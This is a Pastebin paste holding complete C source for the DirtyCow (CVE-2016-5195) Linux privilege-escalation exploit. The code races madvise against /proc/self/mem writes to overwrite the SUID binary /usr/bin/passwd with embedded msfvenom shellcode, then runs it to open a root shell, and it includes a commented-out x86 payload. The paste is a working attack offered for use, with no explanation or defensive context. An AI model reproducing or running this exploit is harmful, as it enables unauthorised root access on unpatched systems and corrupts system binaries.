Advertisement
Guest User

Untitled

a guest
Feb 23rd, 2019
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.26 KB | None | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <sys/mman.h>
  5. #include <fcntl.h>
  6. #include <pthread.h>
  7. #include <string.h>
  8. #include <unistd.h>
  9.  
  10. void *map;
  11. int f;
  12. int stop = 0;
  13. struct stat st;
  14. char *name;
  15. pthread_t pth1,pth2,pth3;
  16.  
  17. // change if no permissions to read
  18. char suid_binary[] = "/usr/bin/passwd";
  19.  
  20. /*
  21. * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  22. */
  23. unsigned char sc[] = {
  24. 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  25. 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  26. 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  27. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  28. 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  29. 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  30. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  31. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  32. 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  33. 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  34. 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  35. 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  36. 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  37. 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  38. 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  39. };
  40. unsigned int sc_len = 177;
  41.  
  42. /*
  43. * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  44. unsigned char sc[] = {
  45. 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  46. 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  47. 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  48. 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  49. 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  50. 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  51. 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  52. 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  53. 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  54. 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  55. 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  56. 0x89, 0xe1, 0xcd, 0x80
  57. };
  58. unsigned int sc_len = 136;
  59. */
  60.  
  61. void *madviseThread(void *arg)
  62. {
  63. char *str;
  64. str=(char*)arg;
  65. int i,c=0;
  66. for(i=0;i<1000000 && !stop;i++) {
  67. c+=madvise(map,100,MADV_DONTNEED);
  68. }
  69. printf("thread stopped\n");
  70. }
  71.  
  72. void *procselfmemThread(void *arg)
  73. {
  74. char *str;
  75. str=(char*)arg;
  76. int f=open("/proc/self/mem",O_RDWR);
  77. int i,c=0;
  78. for(i=0;i<1000000 && !stop;i++) {
  79. lseek(f,map,SEEK_SET);
  80. c+=write(f, str, sc_len);
  81. }
  82. printf("thread stopped\n");
  83. }
  84.  
  85. void *waitForWrite(void *arg) {
  86. char buf[sc_len];
  87.  
  88. for(;;) {
  89. FILE *fp = fopen(suid_binary, "rb");
  90.  
  91. fread(buf, sc_len, 1, fp);
  92.  
  93. if(memcmp(buf, sc, sc_len) == 0) {
  94. printf("%s overwritten\n", suid_binary);
  95. break;
  96. }
  97.  
  98. fclose(fp);
  99. sleep(1);
  100. }
  101.  
  102. stop = 1;
  103.  
  104. printf("Popping root shell.\n");
  105. printf("Don't forget to restore /tmp/bak\n");
  106.  
  107. system(suid_binary);
  108. }
  109.  
  110. int main(int argc,char *argv[]) {
  111. char *backup;
  112.  
  113. printf("DirtyCow root privilege escalation\n");
  114. printf("Backing up %s to /tmp/bak\n", suid_binary);
  115.  
  116. asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  117. system(backup);
  118.  
  119. f = open(suid_binary,O_RDONLY);
  120. fstat(f,&st);
  121.  
  122. printf("Size of binary: %d\n", st.st_size);
  123.  
  124. char payload[st.st_size];
  125. memset(payload, 0x90, st.st_size);
  126. memcpy(payload, sc, sc_len+1);
  127.  
  128. map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  129.  
  130. printf("Racing, this may take a while..\n");
  131.  
  132. pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  133. pthread_create(&pth2, NULL, &procselfmemThread, payload);
  134. pthread_create(&pth3, NULL, &waitForWrite, NULL);
  135.  
  136. pthread_join(pth3, NULL);
  137.  
  138. return 0;
  139. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement